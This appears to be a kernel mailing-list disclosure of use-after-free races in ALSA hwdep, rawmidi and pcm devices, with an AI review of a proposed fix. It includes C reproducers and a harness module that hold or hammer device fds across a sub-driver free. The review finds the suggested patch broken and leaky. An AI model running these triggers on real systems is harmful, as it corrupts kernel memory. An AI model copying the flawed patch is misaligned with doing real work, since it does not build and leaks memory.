+ * snd_hwdep_free() only drops the card/registry reference.
+ */
+static void snd_hwdep_dev_release(struct device *dev)
+{
+	struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
+
+	kfree(hwdep);
+}

[Severity: High]
Does container_of(dev, struct snd_hwdep, dev) compile or compute a valid pointer here?

Since 897c8882df58 ("ALSA: hwdep: Don't embed device"), struct snd_hwdep is no longer embedded around struct device:

include/sound/hwdep.h:struct snd_hwdep {
    ...
	void *private_data;
	void (*private_free) (struct snd_hwdep *hwdep);
	struct device *dev;
    ...
};

Because struct snd_hwdep::dev is a struct device * allocated separately by snd_device_alloc(), container_of() fails its pointer-type static_assert at build time. Even if cast around, subtracting offsetof(struct snd_hwdep, dev) from the standalone struct device pointer passes a bogus address to kfree(), while overwriting default_release_alloc in hwdep->dev->release leaks both the struct device and struct snd_hwdep allocations.

sound/core/hwdep.c static void snd_hwdep_free(struct snd_hwdep *hwdep) · line 364

Quoted 9 lines
sound/core/hwdep.c +0 -1
 static void snd_hwdep_free(struct snd_hwdep *hwdep)
 {
 	if (!hwdep)
@@ -344,7 +361,6 @@ static void snd_hwdep_free(struct snd_hwdep *hwdep)
 	if (hwdep->private_free)
 		hwdep->private_free(hwdep);
 	put_device(hwdep->dev);
-	kfree(hwdep);
 }

[Severity: High]
Even if struct snd_hwdep itself stays allocated until the last file closes, does this still leave hw->private_data and hw->ops exposed to use-after-free on open files?

When a sub-driver calls snd_device_free(card, hwdep) on a live card, snd_hwdep_dev_disconnect() does not swap file->f_op or drain in-flight operations, and snd_hwdep_free() immediately runs hwdep->private_free() and returns to the caller:

sound/synth/emux/emux.c:snd_emux_free() {
    ...
	snd_emux_delete_hwdep(emu);
	snd_sf_free(emu->sflist);
	kfree(emu->voices);
	kfree_const(emu->name);
	kfree(emu);
    ...
}

Any in-flight or subsequent ioctl(), read(), write(), poll(), mmap(), or release() on an existing fd still dispatches through hw->ops (such as snd_emux_hwdep_ioctl()), dereferencing the freed hw->private_data (emu) or calling into unloaded sub-driver module text.

sound/core/hwdep.c int snd_hwdep_new(struct snd_card *card, char *id, int device, · line 411

Quoted 6 lines
sound/core/hwdep.c +1 -0
 /**
@@ -392,6 +408,7 @@ int snd_hwdep_new(struct snd_card *card, char *id, int device,
 		snd_hwdep_free(hwdep);
 		return err;
 	}
+	hwdep->dev->release = snd_hwdep_dev_release;

[Severity: Medium]
Does the snd_device_alloc() error path right above this leak hwdep?

When snd_device_alloc(&hwdep->dev, card) fails, hwdep->dev is NULL. Because kfree(hwdep) was removed from snd_hwdep_free(), calling snd_hwdep_free(hwdep) calls put_device(NULL) and returns without freeing hwdep.

Signature · 1 line
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1
author
#129 lore raw

ALSA: rawmidi: struct snd_rawmidi and its substreams are kfree()d while open files, delayed close() and a queued highpri work item still use them (UAF)

In reply to Greg KH

An ALSA sub-driver that registers devices on a live card -- here the emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind the sequencer device framework -- removes its hwdep device with snd_device_free() on its own remove path. That synchronously runs snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex and hwdep->open_mutex, wakes the open waiters, unregisters the minor and drops off the registry, without waiting for hw->used to drop and without replacing any file->f_op -- and then snd_hwdep_free() kfree()s struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps file->private_data pointing at the freed object: in-flight ioctls dereference it (hw->ops, hwdep.c:251-252), a close() runs snd_hwdep_release() on it (hw->card->module read, mutex_lock on the freed open_mutex, hw->used--), and a future open() fails with -ENODEV while the dangling fd stays armed. We reproduced both shapes on vanilla 7.3: a deterministic variant (hold an fd across the sub-driver free, then ioctl+close) hit six distinct use-after-free reports inside snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight variant (ioctl hammer racing the free) produced 119 reports (snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73 walking hw->private_data into the freed emux). The sequencer device framework holds no module reference for bound devices and the hwdep f_ops owner is the ALSA core module, so rmmod snd_emu10k1_synth is not blocked by the open fd. Removing the sub-driver requires root; holding and using the fd needs no privilege.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM x86_64 guest. The emux/sequencer/virmidi code is the byte-identical in-tree modules (built from an unmodified tree with a config variant that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules); sound/core/hwdep.c and sound/synth/emux/* are byte-identical to mainline 7.3; line numbers below are from 7.3.

* Mechanism

- Open side holds no lifetime guarantee for the object:
snd_hwdep_open() pins the card (sound.c:111) and the card module (hwdep.c:88) only; the emux hwdep registers no ops.open/release (emux_hwdep.c:126-129), so opening pins no sub-driver module at all; success stores file->private_data = hw (hwdep.c:132) and the f_ops owner is the ALSA core module, so the fd outlives any module unload.

- Remove side is synchronous and does not drain:

    snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
    -> __snd_device_free() -> snd_hwdep_dev_disconnect()
    (hwdep.c:455-473: register_mutex + open_mutex held only briefly,
    wake_up(open_wait), minor unregistered, list_del_init) and then
    snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346).  There is no wait
    for hw->used == 0, no f_op swap, no cancelation point.

- Whole-card removal triggers the same free chain nested inside snd_device_disconnect_all() (the seq device's device_del() synchronously unbinds the sub-driver, whose remove calls the same snd_device_free()); there snd_card_disconnect() has already swapped file->f_op to the dummy shutdown ops, so only syscalls that are already in flight (past the f_op dispatch) can hit the freed object -- a narrower but real window, and it happens before the "wait until all files are closed" barrier runs.

- An open() parked inside its retry loop (hwdep.c:116-118: unlock ->

    schedule -> relock) is woken by the disconnect and then takes the
    mutex / reads hw->card->shutdown on the freed object; with
    exclusive==1 but used==0 (the emux hwdep registers no ops.open)
    the loop can even complete successfully on the disconnected,
    about-to-be-freed device.

* Trigger model

Two parts, both reachable on a soundfont-capable card (emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):

- the unprivileged part: open /dev/snd/hwC*D2 and use it (the exclusive flag limits concurrent openers, not lifetime);

- the privileged part: rmmod snd_emu10k1_synth (or sysfs unbind) while that fd is open or an ioctl is in flight.

Consequence: use-after-free reads/writes on struct snd_hwdep (including mutex_lock() on the freed open_mutex and an hw->ops.ioctl function-pointer load), plus a second-order UAF into the freed emux private data.

* Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3

synthrace.c registers a REAL emux on a virtual card through the exported emux API with exactly the snd_emu10k1_synth_probe/remove() shape (snd_emux_new -> ops -> snd_emux_register creating the real /dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body). Zero kernel source modification. fwmr_test.c is the userspace side.

    # controlled/deterministic (fd held across the free):
    insmod synthrace.ko
    ./fwmr_test mr02hold 4 &     # open, probe, hold, then ioctl+close
    sleep 2
    echo 1 > /sys/module/synthrace/parameters/free   # snd_emux_free()
    # in-flight variant:
    ./fwmr_test mr02hammer 20000 &               # ioctl hammer
    sleep 2
    echo 1 > /sys/module/synthrace/parameters/free

Results (7.3, 2 vCPU, KASAN):

- deterministic hold: first close after the free reports slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/ 0x9b/0xb3 (six distinct accesses on one close);

- in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f (hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen after the free returns -ENODEV as expected.

* Suggested patch

Anchor struct snd_hwdep's lifetime on its embedded device: a custom release callback performs the kfree(), every open file takes get_device(hw->dev) and every release path puts it back, and snd_hwdep_free() only drops the card/registry reference (the private_free ordering is deliberately unchanged). The complete patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch); happy to rework per review.

---- patch begins ----
---

sound/core/hwdep.c +13 -1
@@ -84,8 +84,10 @@
 		return -ENXIO;
 	if (hw == NULL)
 		return -ENODEV;
+	get_device(hw->dev);
 
 	if (!try_module_get(hw->card->module)) {
+		put_device(hw->dev);
 		snd_card_unref(hw->card);
 		return -ENODEV;
 	}
@@ -137,8 +139,10 @@
 		}
 	}
 	mutex_unlock(&hw->open_mutex);
-	if (err < 0)
+	if (err < 0) {
 		module_put(hw->card->module);
+		put_device(hw->dev);
+	}
 	snd_card_unref(hw->card);
 	return err;
 }
@@ -159,6 +163,7 @@
 
 	snd_card_file_remove(hw->card, file);
 	module_put(mod);
+	put_device(hw->dev);
 	return err;
 }
 
@@ -336,6 +341,18 @@
 	.mmap		=	snd_hwdep_mmap,
 };
 
 
+static void snd_hwdep_dev_release(struct device *dev)
+{
+	struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
+
+	kfree(hwdep);
+}
+
 static void snd_hwdep_free(struct snd_hwdep *hwdep)
 {

if (!hwdep)
@@ -343,7 +360,6 @@
if (hwdep->private_free)
hwdep->private_free(hwdep);
put_device(hwdep->dev);
- kfree(hwdep);
}

/**
@@ -390,6 +406,7 @@
snd_hwdep_free(hwdep);
return err;
}
+ hwdep->dev->release = snd_hwdep_dev_release;

dev_set_name(hwdep->dev, "hwC%iD%i", card->number, device);
#ifdef CONFIG_SND_OSSEMUL
---- patch ends ----

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md). *
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open

 *                      /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
 *                      once, HOLD the fd across the kernel-side
 *                      snd_emux_free() (host script triggers it), then
 *                      ioctl + close on the freed hwdep -> real
 *                      snd_hwdep_release() derefs freed hw (hw->card->module,
 *                      mutex_lock(&hw->open_mutex), hw->used--).
 *   mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
 *                      synth report's mr03, re-attributed): open + ioctl
 *                      hammer while the free runs on the other side.
 *   mr03midi [secs]  - FW-MR-03: poll for /dev/snd/midiC0D0, open
 *                      O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
 *                      snd_virmidi_output_open INIT_WORK), write MIDI bytes
 *                      (real snd_rawmidi_output_trigger -> queue_work
 *                      system_highpri_wq), HOLD across fw3_free, write
 *                      again (in-flight work + write path on freed rmidi),
 *                      close (snd_rawmidi_release on freed rmidi).
 *   mr04pcm [secs]   - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
 *                      snd_pcm_open, ref_count=1), hammer
 *                      SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
 *                      (snd_device_free(card, pcm)), ioctl + close on the
 *                      freed substream/pcm (real snd_pcm_release path).
 *   mr01read [secs]  - FW-MR-01 reader side: hammer
 *                      SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
 *                      /dev/snd/controlC0 while a dangling (freed but
 *                      still-linked) jack kcontrol sits in card->controls.
 *   mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
 *                      ELEM_REMOVE of a user control with iface=CARD whose
 *                      name is copied from an existing CARD control (same
 *                      ctl_hash key as the jack controls the reconfig probe
 *                      looks up locklessly in get_available_index()).

* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

static void waitdev(const char *path, int timeout_ms)

{
	int waited = 0;
	struct stat st;

	while (stat(path, &st) != 0) {
		if (waited >= timeout_ms)
			return;
		usleep(20000);
		waited += 20;
	}
}

/* ---- FW-MR-02 ---- */

static int plan_mr02hold(int secs)

{
	int fd;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
	fflush(stdout);
	printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
	fflush(stdout);
	ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
	printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
	fflush(stdout);
	close(fd);
	printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HOLD: done\n");
	return 0;
}

static int plan_mr02hammer(int iters)

{
	int fd, i;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HAMMER: %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		if ((i % 256) == 0) {
			printf("MR02HAMMER: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR02HAMMER: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HAMMER: done\n");
	return 0;
}

/* ---- FW-MR-03 ---- */

static int plan_mr03midi(int secs)

{
	int fd, n = 0;
	unsigned char msg[3] = { 0x90, 0x40, 0x7f };

	waitdev("/dev/snd/midiC0D0", 15000);
	fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
	if (fd < 0) {
		fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
	fflush(stdout);
	/* a few writes: each runs snd_rawmidi_kernel_write1 ->
	 * snd_rawmidi_output_trigger(substream, 1) -> queue_work */
	for (n = 0; n < 32; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: %d writes queued; holding fd for %ds "
		"(host frees emux now)\n", n, secs);
	fflush(stdout);
	sleep(secs);
	printf("MR03MIDI: writing again on freed rmidi\n");
	fflush(stdout);
	for (n = 0; n < 8; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
	fflush(stdout);
	close(fd);
	printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
	printf("MR03MIDI: done\n");
	return 0;
}

/* ---- FW-MR-04 ---- */

static int plan_mr04pcm(int secs)

{
	int fd, i;
	unsigned int ver = 0;
	struct snd_pcm_info info;

	waitdev("/dev/snd/pcmC1D0p", 15000);
	fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
	fflush(stdout);
	for (i = 0; i < 64; i++) {
		ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
		memset(&info, 0, sizeof(info));
		ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
		usleep(1000);
	}
	printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
		"(host frees pcm now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
	fflush(stdout);
	memset(&info, 0, sizeof(info));
	ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
	printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
	fflush(stdout);
	close(fd);
	printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/pcmC1D0p", O_WRONLY));
	printf("MR04PCM: done\n");
	return 0;
}

/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */

static int ctl_open(void)

{
	int fd = open("/dev/snd/controlC0", O_RDWR);

	if (fd < 0)
		fprintf(stderr, "open controlC0: %s\n", strerror(errno));
	return fd;
}

static int plan_mr01read(int secs)

{
	int fd, i, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
	fflush(stdout);
	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&list, 0, sizeof(list));
		list.offset = 0;
		list.space = 256;
		list.pids = ids;
		err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
		if (err < 0)
			break;
		for (n = 0; n < (int)list.count && n < 256; n++) {
			memset(&info, 0, sizeof(info));
			info.id = ids[n];
			ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		}
		if ((++i % 64) == 0) {
			printf("MR01READ: round %d (count=%u)\n", i, list.count);
			fflush(stdout);
		}
		usleep(2000);
	}
	printf("MR01READ: done (%d rounds)\n", i);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr06storm(int secs)

{
	int fd, card, i, added = 0;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	struct snd_ctl_elem_id remove_id;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	/* take the name of an existing CARD-interface control so the user
	 * control shares the ctl_hash key of the jack controls that the
	 * reconfig probe's get_available_index() looks up locklessly */
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
		fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	memset(&info, 0, sizeof(info));
	for (i = 0; i < (int)list.count && i < 256; i++) {
		info.id = ids[i];
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
			continue;
		if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
			break;
	}
	if (i >= (int)list.count) {
		fprintf(stderr, "no CARD control found\n");
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR06STORM: adding/removing iface=CARD user control '%s' "
		"for %ds\n", info.id.name, secs);
	fflush(stdout);

	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&info, 0, sizeof(info));
		info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
		strncpy((char *)info.id.name, "Headphone Jack",
			sizeof(info.id.name) - 1);
		info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
		info.count = 1;
		info.owner = 0;
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
			goto drop;
		added++;
		remove_id = info.id;
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
		if ((++i % 256) == 0) {
			printf("MR06STORM: round %d (added=%d)\n", i, added);
			fflush(stdout);
		}
		usleep(500);
	}
	(void)card;
	printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr01dump(void)

{
	int fd, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
	if (err < 0) {
		printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
		list.count);
	fflush(stdout);
	for (n = 0; n < (int)list.count && n < 256; n++) {
		memset(&info, 0, sizeof(info));
		info.id = ids[n];
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		printf("MR01DUMP: numid=%-5u iface=%d %s\n",
			ids[n].numid, ids[n].iface, ids[n].name);
		fflush(stdout);
	}
	free(ids);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "mr02hold"))
		return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
	if (!strcmp(argv[1], "mr02hammer"))
		return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
	if (!strcmp(argv[1], "mr03midi"))
		return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr04pcm"))
		return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr01dump"))
		return plan_mr01dump();
	if (!strcmp(argv[1], "mr01read"))
		return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
	if (!strcmp(argv[1], "mr06storm"))
		return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
	if (!strcmp(argv[1], "waitdev"))
		return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr03.c - dynamic verification harness for audit case FW-MR-03
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "独立子驱动 snd_device_free(card, rmidi) 与在途 /dev/snd/midiC*D* 操作
* 及 system_highpri_wq 工作项间的 snd_rawmidi/substream/rdev 多对象 UAF"
*
* It registers a REAL emux on a virtual card with midi_ports=2, so
* snd_emux_init_virmidi() (emux_seq.c:340-373) creates the real
* /dev/snd/midiC0D0 + midiC0D1 virmidi rawmidi devices exactly like
* snd_emu10k1_synth_probe()/snd_emu8000_probe() do. The userspace side
* (fwmr_test mr03midi) opens midiC0D0 O_WRONLY, which runs the real
* snd_rawmidi_open()/snd_virmidi_output_open() path (INIT_WORK at
* seq_virmidi.c:232), and write()s bytes which run the real
* snd_rawmidi_output_trigger -> snd_virmidi_output_trigger ->
* queue_work(system_highpri_wq, &vmidi->output_work) path (seq_virmidi.c:179). *
* Writing "1" to /sys/module/fwmr03/parameters/fw3_free runs
* snd_emux_free() (the sub-driver remove body, emux.c:124-145):

 *   snd_emux_delete_virmidi() -> snd_device_free(card, vmidi[i]) ->
 *   snd_rawmidi_dev_disconnect() (no drain) -> snd_rawmidi_free():
 *   kfree(substream)@rawmidi.c:1919 / kfree(rdev)@1937 / kfree(rmidi)@1939

* with no cancel_work_sync() and no fd drain -- the audited FW-MR-03
* release chain. Expected hits:
* T3a: snd_vmidi_output_work() derefs freed vmidi->substream /
* vmidi->rdev / substream->lock (freed-work + freed-substream UAF)
* T3b: close(fd) -> snd_rawmidi_release() locks freed rmidi->open_mutex,
* rawmidi_release_priv() touches freed substream/rdev
*
* Zero kernel source modification; the audited code paths are the
* byte-identical in-tree modules.
*/
#define pr_fmt(fmt) "FWMR03: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;

/* ---- minimal fake backend (same contract as emu10k1_callback.c) ---- */

static int f3_start_voice(struct snd_emux_voice *vp) { return 0; } static void f3_trigger(struct snd_emux_voice *vp) {} static void f3_release(struct snd_emux_voice *vp) {} static void f3_update(struct snd_emux_voice *vp, int update) {} static void f3_terminate(struct snd_emux_voice *vp) {}

static int f3_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)

{
	sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
	return sp->block ? 0 : -ENOMEM;
}

static int f3_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)

{
	if (sp->block) {
		snd_util_mem_free(hdr, sp->block);
		sp->block = NULL;
	}
	return 0;
}

static const struct snd_emux_operators f3_ops = {
.owner = THIS_MODULE,
.get_voice = NULL, /* note_on unused in this plan */
.prepare = f3_start_voice,
.trigger = f3_trigger,
.release = f3_release,
.update = f3_update,
.terminate = f3_terminate,
.sample_new = f3_sample_new,
.sample_free = f3_sample_free,
};

static int f3_emux_setup(void)

{
	int err;

	err = snd_emux_new(&emu);
	if (err < 0)
		return err;

	emu->ops = f3_ops;
	emu->hw = card;		/* non-NULL "hardware"; never dereferenced */
	emu->max_voices = 8;
	emu->num_ports = 1;
	emu->midi_ports = 2;	/* THE FW-MR-03 delta: create real virmidi */
	emu->midi_devidx = 0;	/* /dev/snd/midiC0D0 + midiC0D1 */
	emu->hwdep_idx = 0;	/* /dev/snd/hwC0D0 (same as harness default) */
	emu->linear_panning = 0;
	emu->memhdr = snd_util_memhdr_new(0x100000);
	if (!emu->memhdr) {
		snd_emux_free(emu);
		emu = NULL;
		return -ENOMEM;
	}

	err = snd_emux_register(emu, card, 0, "fwmr03");
	if (err < 0) {
		pr_err("snd_emux_register failed: %d\n", err);
		snd_util_memhdr_free(emu->memhdr);
		snd_emux_free(emu);
		emu = NULL;
		return err;
	}
	snd_card_register(card);
	pr_info("emux registered: hwdep=hwC0D0 virmidi=midiC0D0/midiC0D1\n");
	return 0;
}

/* ---- FW-MR-03 release trigger: sub-driver remove body ---- */

static int fw3_free_set(const char *val, const struct kernel_param *kp)

{
	if (!emu)
		return -ENODEV;
	pr_info("calling snd_emux_free() (sub-driver remove body) with "
		"midi fd open + output_work armed\n");
	snd_emux_free(emu);
	emu = NULL;
	pr_info("snd_emux_free() done\n");
	return 0;
}

static const struct kernel_param_ops fw3_free_ops = { .set = fw3_free_set }; module_param_cb(fw3_free, &fw3_free_ops, NULL, 0200);

/* ---- module plumbing ---- */

static int __init fwmr03_init(void)

{
	int err;

	parent = root_device_register("fwmr03");
	if (IS_ERR(parent))
		return PTR_ERR(parent);
	err = snd_card_new(parent, 0, "fwmr03", THIS_MODULE, 0, &card);
	if (err < 0) {
		root_device_unregister(parent);
		parent = NULL;
		return err;
	}
	return f3_emux_setup();
}

static void __exit fwmr03_exit(void)

{
	if (emu) {
		snd_emux_free(emu);
		emu = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	if (parent) {
		root_device_unregister(parent);
		parent = NULL;
	}
}

module_init(fwmr03_init);
module_exit(fwmr03_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-03 virmidi/rawmidi race verification harness");

author
#130 lore raw

ALSA: pcm: struct snd_pcm and its substreams are kfree()d while open fds and in-flight ioctls still use them (UAF)

In reply to Greg KH

An ALSA sub-driver that registered a pcm on a live card frees it with snd_device_free(card, pcm) on its own remove path -- for example snd_emu8000_remove() runs exactly that call (emu8000_synth.c:92) for the Emu8000 playback pcm. snd_pcm_dev_disconnect() stops the streams, marks them DISCONNECTED and unregisters the minor, but it neither replaces the open files' f_op nor waits for substream->ref_count to drop; snd_pcm_free() then kfrees every substream (pcm.c:826) and struct snd_pcm itself (pcm.c:863). Each open /dev/snd/pcmC*D* fd keeps pcm_file->substream, substream->pcm and pcm->open_mutex pointing at the freed memory: in-flight ioctls dereference it, and the eventual close() runs snd_pcm_release() on it -- pcm_native.c:2976 pcm_file->substream, 2979 substream->pcm, 2982 snd_power_wait(pcm->card), 2984 mutex_lock(&pcm->open_mutex), 2985 snd_pcm_release_substream() -> substream->ops->close. When the removal was an rmmod, those ops point into the unmapped module text. We verified the audited release chain on vanilla 7.3 with the byte-identical core code (snd_pcm_new/open/dev_disconnect/free) driven by a module-owned ops table in the exact shape of snd_emu8000_pcm_new()/snd_emu8000_remove() -- the AWE64 ISA hardware itself cannot be attached to a QEMU x86 guest -- and obtained 16 use-after-free reports (snd_pcm_release +0x3a/+0x4d, the snd_pcm_get_state family reached through snd_pcm_common_ioctl, snd_power_ref_and_wait on the freed pcm->card, snd_refcount_put, __wake_up_common on the freed pcm's open_wait), with ops->close demonstrably reached on the post-free release path. Removing the sub-driver requires root; using the device does not.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM x86_64 guest. sound/core/pcm.c and sound/core/pcm_native.c are byte-identical to mainline 7.3 (the audited free sites are pcm.c:826/863 and the disconnect at pcm.c:1085-1120); the emu8000 driver shape (emu8000_synth.c:83-97, emu8000_pcm.c:637-651) is byte-identical too; line numbers below are from 7.3.

* Mechanism

- Open side: snd_pcm_open() pins the card (sound.c:111) and the card module only (pcm_native.c:2924); nothing pins the pcm object or prevents the registering sub-driver module from being removed while the fd is open. There is also a lockless window between the minor lookup (pcm_native.c:2889) and taking pcm->open_mutex (2930), and a re-lock window inside the open retry loop (2942-2949) that reads pcm->card->shutdown on a possibly freed pcm.

